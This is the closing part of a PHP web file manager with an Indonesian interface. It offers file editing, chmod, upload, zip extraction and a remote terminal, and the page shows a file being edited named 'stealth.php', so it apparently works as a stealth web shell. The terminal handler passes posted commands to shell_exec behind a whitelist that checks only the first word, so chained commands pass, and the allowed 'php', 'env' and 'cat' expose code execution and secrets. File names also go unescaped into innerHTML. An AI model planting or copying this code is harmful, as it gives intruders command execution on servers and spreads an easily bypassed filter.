  document.getElementById('a-w').checked = !!(p & 0o002);
  document.getElementById('a-x').checked = !!(p & 0o001);
  
  showModal('chmod-modal');
}

function updatePerms() {
  const bits = [
    [document.getElementById('o-r'), 0o400],
    [document.getElementById('o-w'), 0o200],
    [document.getElementById('o-x'), 0o100],
    [document.getElementById('g-r'), 0o040],
    [document.getElementById('g-w'), 0o020],
    [document.getElementById('g-x'), 0o010],
    [document.getElementById('a-r'), 0o004],
    [document.getElementById('a-w'), 0o002],
    [document.getElementById('a-x'), 0o001],
  ];
  let val = 0;
  bits.forEach(([cb, bit]) => { if (cb.checked) val |= bit; });
  document.getElementById('perms-octal').value = '0' + val.toString(8).padStart(3, '0');
}

function syncFromOctal() {
  const perms = document.getElementById('perms-octal').value;
  if (perms.length < 3) return;
  const p = parseInt(perms, 8);
  document.getElementById('o-r').checked = !!(p & 0o400);
  document.getElementById('o-w').checked = !!(p & 0o200);
  document.getElementById('o-x').checked = !!(p & 0o100);
  document.getElementById('g-r').checked = !!(p & 0o040);
  document.getElementById('g-w').checked = !!(p & 0o020);
  document.getElementById('g-x').checked = !!(p & 0o010);
  document.getElementById('a-r').checked = !!(p & 0o004);
  document.getElementById('a-w').checked = !!(p & 0o002);
  document.getElementById('a-x').checked = !!(p & 0o001);
}

// ── INFO ───────────────────────────────────
function showInfo(name, isDir, mtime, size, perms) {
  const fmtDate = ts => new Date(ts * 1000).toLocaleString('id-ID');
  const fmtSize = bytes => {
    if (bytes === 0) return '—';
    const u = ['B','KB','MB','GB']; let i = 0;
    while (bytes >= 1024 && i < 3) { bytes /= 1024; i++; }
    return Math.round(bytes * 100) / 100 + ' ' + u[i];
  };
  
  document.getElementById('info-content').innerHTML = `
    <div class="info-item"><div class="label">Nama</div><div class="value">${name}</div></div>
    <div class="info-item"><div class="label">Tipe</div><div class="value">${isDir ? 'Folder' : 'File'}</div></div>
    <div class="info-item"><div class="label">Ukuran</div><div class="value">${isDir ? '—' : fmtSize(size)}</div></div>
    <div class="info-item"><div class="label">Permission</div><div class="value">${perms}</div></div>
    <div class="info-item"><div class="label">Diubah</div><div class="value">${fmtDate(mtime)}</div></div>
    <div class="info-item"><div class="label">Path</div><div class="value">${CUR_PATH}/${name}</div></div>
  `;
  showModal('info-modal');
}

// ── EDITOR ─────────────────────────────────
function openEditor(filename) {
  currentEditorFile = filename;
  document.getElementById('editor-filename').textContent = filename;
  
  if (!editor) {
    editor = CodeMirror.fromTextArea(document.getElementById('code-editor'), {
      theme: 'dracula',
      lineNumbers: true,
      matchBrackets: true,
      styleActiveLine: true,
      lineWrapping: false,
      tabSize: 2,
    });
  }
  
  // Detect mode
  const ext = filename.split('.').pop().toLowerCase();
  const modeMap = { php:'php', js:'javascript', css:'css', html:'htmlmixed', htm:'htmlmixed',
    sql:'sql', py:'python', sh:'shell', bash:'shell', xml:'xml', yml:'yaml', yaml:'yaml', md:'markdown' };
  const mode = modeMap[ext] || 'null';
  editor.setOption('mode', mode);
  document.getElementById('editor-mode').value = mode;
  
  fetch('?action=get_content&p=' + encodeURIComponent(CUR_PATH) + '&f=' + encodeURIComponent(filename))
    .then(r => r.json())
    .then(d => {
      editor.setValue(d.content);
      editor.clearHistory();
      showModal('editor-modal');
      setTimeout(() => editor.refresh(), 100);
    });
}

function changeMode() {
  if (editor) editor.setOption('mode', document.getElementById('editor-mode').value);
}

// ── PREVIEW ────────────────────────────────
function previewImage(name, url) {
  document.getElementById('preview-title').textContent = '🖼️ ' + name;
  document.getElementById('preview-content').innerHTML = `<img src="${url}" class="preview-img" alt="${name}">`;
  showModal('preview-modal');
}

// ── EXTRACT ────────────────────────────────
function extractZip(name) {
  document.getElementById('extract-file').value = name;
  showModal('extract-modal');
}

// ── CONTEXT MENU ─────────────────────────
function showCtx(e, name, isDir) {
  e.preventDefault();
  ctxFile = name; ctxIsDir = isDir;
  
  const menu = document.getElementById('ctx-menu');
  document.getElementById('ctx-open').style.display = isDir ? '' : 'none';
  document.getElementById('ctx-edit').style.display = !isDir ? '' : 'none';
  
  menu.style.left = e.pageX + 'px';
  menu.style.top = e.pageY + 'px';
  menu.classList.add('visible');
}

function hideCtx() {
  document.getElementById('ctx-menu').classList.remove('visible');
}

// ── UPLOAD ZONE ────────────────────────────
const zone = document.getElementById('upload-zone');
if (zone) {
  zone.addEventListener('dragover', e => { e.preventDefault(); zone.classList.add('dragover'); });
  zone.addEventListener('dragleave', () => zone.classList.remove('dragover'));
  zone.addEventListener('drop', e => {
    e.preventDefault(); zone.classList.remove('dragover');
    document.getElementById('file-input').files = e.dataTransfer.files;
    showFiles(document.getElementById('file-input'));
  });
}

// ── TERMINAL ─────────────────────────────
const termHistory = [];
let termHistIdx = -1;

// ── SORT ──────────────────────────────────
let sortDir = {};
function sortTable(col) {
  const tbody = document.getElementById('file-tbody');
  if (!tbody) return;
  const rows = [...tbody.querySelectorAll('tr:not(:first-child)')];
  sortDir[col] = !sortDir[col];
  rows.sort((a, b) => {
    const av = a.cells[col]?.textContent.trim() || '';
    const bv = b.cells[col]?.textContent.trim() || '';
    return sortDir[col] ? av.localeCompare(bv) : bv.localeCompare(av);
  });
  rows.forEach(r => tbody.appendChild(r));
}
</script>

<?php
// Terminal command handler
if (fm_is_logged_in() && isset($_POST['action']) && $_POST['action'] === 'terminal' && !empty($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $cwd = fm_full_path(fm_clean_path($_POST['p'] ?? ''));
    // Whitelist safe-ish commands
    $safe = ['ls', 'pwd', 'whoami', 'uname', 'php', 'cat', 'echo', 'find', 'head', 'tail', 'grep', 'df', 'du', 'id', 'env', 'date'];
    $cmd_base = preg_split('/\s+/', trim($cmd))[0];
    if (in_array($cmd_base, $safe)) {
        $run = 'cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1';
        $output = shell_exec($run);
        echo json_encode(['output' => $output ?: '(no output)']);
    } else {
        echo json_encode(['output' => 'Perintah tidak diizinkan: ' . $cmd_base]);
    }
    exit;
}
?>

<?php endif; ?>
</body>
</html>

📥 Download

File manager

📁 Media Files

⬆️ Upload Media

📝 Edit: stealth.php